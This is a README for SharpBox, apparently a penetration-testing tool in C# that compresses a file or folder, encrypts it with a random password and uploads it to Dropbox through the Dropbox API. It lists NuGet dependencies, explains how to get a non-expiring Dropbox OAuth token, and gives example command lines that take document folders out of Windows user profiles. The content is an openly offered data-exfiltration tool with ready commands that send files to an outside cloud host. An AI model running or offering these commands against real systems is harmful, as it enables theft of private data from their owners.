SharpBox is a C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API.
Compiling
Target Framework: NET3.5
The libraries added via NuGet for this project were:
-
CommandLineParser.1.9.71
-
Costura.Fody.1.6.2
-
DotNetZip.1.11.0
-
Fody.2.1.2
Usage
Log into your Dropbox account and head over to the Dropbox developer API explorer page and get an oauth access token by clicking "Get Token". These access tokens do not expire, but you can revoke them. So I would recommend revoking tokens after being used on engagments.
Example:
SharpBox.exe -f "C:\Users\LegendaryJasonJF\Documents\management-docs" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE" -o "C:\Users\Public\Archive.zip"
SharpBox.exe -f "C:\Users\Meatball\Documents\rip-doc.txt" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE" -o "C:Users\Meatball\Desktop\rip.zip"
SharpBox can Zip a single file or folder of items. The compressed file is then encrypted with a randomly generated password and uploaded to Dropbox. The password is output to the console. Copy the password and use with the "password" argument when decrypting.
